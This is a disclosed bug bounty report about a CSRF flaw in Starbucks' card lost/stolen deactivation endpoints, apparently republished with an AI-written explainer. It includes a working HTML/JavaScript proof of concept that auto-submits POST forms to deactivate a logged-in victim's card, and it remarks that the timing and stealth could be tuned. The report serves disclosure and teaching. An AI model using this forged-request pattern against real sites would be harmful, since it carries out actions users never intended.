CSRF in Report Lost or Stolen Page https://www.starbucks.com/account/card
The card deactivation and lost/stolen reporting endpoints accepted POST requests without any CSRF protection, so a page on another site could submit them on a logged-in user's behalf. An attacker could therefore deactivate a victim's Starbucks card by getting them to load a crafted page.
- Triaged in 6 hours
- Fixed in 3 months
- Paid in 13 days
- Disclosed after 4 months
Hi, When a user registers with an option to get instant digital card, a card will be registered against that users name. There is CSRF in card removal process when user wants to report cards as stolen or lost. There is no CSRF protection on the post requests when https://www.starbucks.com/account/card/loststolen or https://www.starbucks.com/account/card/loststolenzerobalance page is called.
When (https://www.starbucks.com/account/card) is visited by user to Report Lost or Stolen card{request 1}, user has to click on Deactivate card. Then user will be asked to confirm the action {request 2}. So, in short after these 2 POST requests,for which there is no CSRF protection, card will be removed. I tried to build a PoC and it worked.
User will have to accepts pop-up from starbucks.com. I am sure user will do that since it is a legitimate site.
Please find a working PoC code.
<html>
<head>
<meta name="referrer" content="no-referrer"/>
</head>
<script language="JavaScript">
function abc()
{
window.open("https://www.starbucks.com/account/card/loststolen");
}
</script>
<body onload="abc();">
<script>history.pushState('', '', '/')</script>
<form id="form1" target="_bank" action="https://www.starbucks.com/account/card/loststolenzerobalance" method="POST">
<input type="submit" value="Submit request" />
</form>
<form id="form2" target="_bank" action="https://www.starbucks.com/account/card/loststolenzerobalance" method="POST">
<input type="submit" value="Submit request" />
</form>
<script>
window.setTimeout( function () { document.forms.form1.submit()},1500);
window.setTimeout( function () { document.forms.form2.submit()},2000);
</script>
</body>
</html>
Time taken to open both form is lenient for demonstration purpose but I guess time as well as stealthiness can be tuned. Also find video PoC.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the two card-deactivation POST endpoints lacked any anti-CSRF token or origin check, so the server accepted requests originating from other sites.
Impact
A logged-in victim who loads the attacker's page could have their card deactivated, though the attack relies on the victim accepting a pop-up from the legitimate site.
What the attacker needed
Victim logged in; victim loads attacker page; victim accepts pop-up
How it was found
- Visit the account card page and choose to report the card lost or stolen.
- Click to deactivate the card, then confirm the action in the second request.
- Build a page that opens the lost/stolen page and auto-submits two POST forms to the zero-balance endpoint.
- Load the attacker page while logged in and accept the pop-up from the legitimate site.
- Observe that the card is removed after the two POST requests.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you are logged in to a site, your browser automatically sends your session cookie with every request to that site. CSRF (cross-site request forgery) is when an attacker's page makes your browser send a state-changing request to the victim site without you meaning to. Here the site did not check that the request really came from its own pages, so a malicious page could deactivate someone's card.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.